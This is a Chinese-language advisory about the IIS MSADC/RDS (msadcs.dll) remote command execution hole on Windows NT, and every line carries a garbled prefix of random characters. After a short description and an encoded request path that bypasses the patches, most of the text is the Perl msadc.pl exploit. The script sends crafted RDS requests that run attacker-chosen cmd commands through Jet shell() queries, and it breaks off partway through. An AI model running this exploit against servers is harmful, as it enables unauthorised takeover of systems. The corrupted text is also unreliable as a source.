IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'plUs<A ug ;Xoh5w 涉及程序:
p!uB8F Microsoft NT server
R"P-+T=7M )qbkKCq/FB 描述:
@Bhcb.kbq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
FE,mUpHIR 'xkl|P>=], 详细:
<y^_&9 如果你没有时间读详细内容的话,就删除:
=dKjTBR S' c:\Program Files\Common Files\System\Msadc\msadcs.dll
_[Imwu} 有关的安全问题就没有了。
Z10}xqi!X kln)7SzPuk 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
0^o/cSF m<>BxX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
+D]raU 关于利用ODBC远程漏洞的描述,请参看:
I%a-5f$0 v]F4o1ckk http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1@KiP`DA v=lW5%r,' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
g:JSy http://www.microsoft.com/security/bulletins/MS99-025faq.asp $'Mf$h JRFUNy1+e1 这里不再论述。
^ `Ozw^~ 6Nn+7z<*&z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
]gcOMC N=2T~M 1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
eU%49 A 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
hd9HM5{p ~BJE~ ^-k"gLg #将下面这段保存为txt文件,然后: "perl -x 文件名"
={oNY.(Q Hh=fv~X #!perl
x$BNFb%I1 #
+@3+WD # MSADC/RDS 'usage' (aka exploit) script
xLoQ0rt
6 #
}p2iF2g9` # by rain.forest.puppy
!KK `+ 9/ #
G|1.qHP[F # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ur'<8pDb$ # beta test and find errors!
JJ?rVq1g H@xS<=:lM use Socket; use Getopt::Std;
OriYt getopts("e:vd:h:XR", \%args);
bT2G
G (wZ!OLY%} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
A<)n H=G& U0j>u*yE if (!defined $args{h} && !defined $args{R}) {
/CsP@f_Gw print qq~
YWH>tt9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
bGeIb-|( -h <host> = host you want to scan (ip or domain)
;HXk'xN -d <seconds> = delay between calls, default 1 second
&F~d~;G"q -X = dump Index Server path table, if available
kpn|C 9r -v = verbose
z&d.YO_W -e = external dictionary file for step 5
\~%+)a%% ^*.$@M Or a -R will resume a command session
(Fzy8
s {ac$4#Bp[B ~; exit;}
kMch -GPBX? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/y-D_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;Y*K!iFWH if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
cHF W"g78 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
(y>N\xS9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ex
p?x if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
nA,=g'7S %BkE %ZcZ if (!defined $args{R}){ $ret = &has_msadc;
K& ^qn& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F:ycV~bE @r*GGI! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
KZ7B2 . "cmd /c ";
)Ac,F6w $in=<STDIN>; chomp $in;
x7zc3%T's $command="cmd /c " . $in ;
`Uz.9_6 1 gjaTPwY if (defined $args{R}) {&load; exit;}
o-RZwufZ` 9S]pC?N]E print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-6- sI &try_btcustmr;
LvG$J* "H(3pl. print "\nStep 2: Trying to make our own DSN...";
iw,uwh|L
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.euAN8L ]C,j80+pK print "\nStep 3: Trying known DSNs...";
9abUh3 &known_dsn;
(]'wQ4iQ L.@$rFhA print "\nStep 4: Trying known .mdbs...";
JE9v+a{7 &known_mdb;
{k.:DH) ?`?Tg&W if (defined $args{e}){
?{TWsuP7 print "\nStep 5: Trying dictionary of DSN names...";
HU?1>}4L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jl\xE`-7 )4uWB2ZRoi print "Sorry Charley...maybe next time?\n";
wd*B3 exit;
ZiuD0#"! qWr=Oiu ##############################################################################
,byc!P k(H]ILL sub sendraw { # ripped and modded from whisker
np^&cY] sleep($delay); # it's a DoS on the server! At least on mine...
?pEPwc my ($pstr)=@_;
; j.d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3:jxr die("Socket problems\n");
akbB=:M,x if(connect(S,pack "SnA4x8",2,80,$target)){
O.Pp*sQ^ select(S); $|=1;
Y[7prjd print $pstr; my @in=<S>;
;?HP/dZLz select(STDOUT); close(S);
fphCQO^#vW return @in;
eWv:wNouk } else { die("Can't connect...\n"); }}
QY)p![6Fj /a32QuS ##############################################################################
L-?ty@-i FA,n> sub make_header { # make the HTTP request
QYo04`Rl my $msadc=<<EOT
^O7sQ7V"f= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Nut&g"u2 User-Agent: ACTIVEDATA
#>aq'47j Host: $ip
u
$-&Im< Content-Length: $clen
?X|q Connection: Keep-Alive
}F{s\qUt Fvk=6$d2 ADCClientVersion:01.06
6inAnC@I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
F,S)P`? O1o>eDE5A --!ADM!ROX!YOUR!WORLD!
QD%xmP Content-Type: application/x-varg
hA 5p'a+K Content-Length: $reqlen
)e0kr46 %(
7##f_ EOT
o7E|wS ; $msadc=~s/\n/\r\n/g;
eV}" L:bgJ return $msadc;}
(Nc~l ^a u4FD}nV ##############################################################################
L,A+" [r"Oi|
8I sub make_req { # make the RDS request
BJ5MCb.w my ($switch, $p1, $p2)=@_;
fmK~? my $req=""; my $t1, $t2, $query, $dsn;
h9 DUS,G9, Y910\h@V if ($switch==1){ # this is the btcustmr.mdb query
0#TL$?=| $query="Select * from Customers where City=" . make_shell();
[(Z(8{3i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>(P(!^[f $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`oNJ=,p j17h_ a; elsif ($switch==2){ # this is general make table query
sDNWB_~ $query="create table AZZ (B int, C varchar(10))";
Z4Q]By:/L $dsn="$p1";}
1A'eH:$ `,SL\\%u elsif ($switch==3){ # this is general exploit table query
^X{U7?x $query="select * from AZZ where C=" . make_shell();
s.7=!JQ#]p $dsn="$p1";}
iw MxTty `l'T/F\ elsif ($switch==4){ # attempt to hork file info from index server
Az y`4 $query="select path from scope()";
&C